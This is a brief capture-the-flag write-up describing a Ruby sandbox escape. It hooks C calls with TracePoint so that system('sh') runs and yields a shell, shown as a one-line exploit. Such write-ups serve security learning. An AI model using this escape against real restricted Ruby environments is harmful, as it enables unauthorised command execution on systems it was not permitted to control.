Rating: 5.0

Use TracePoint to trace the `puts` method in the proc of `set_trace_func`, and get shell.

```ruby
TracePoint.trace(:c_call) do system('sh') end
```

djosix – Nov. 8, 2017, 11:40 a.m.

WTF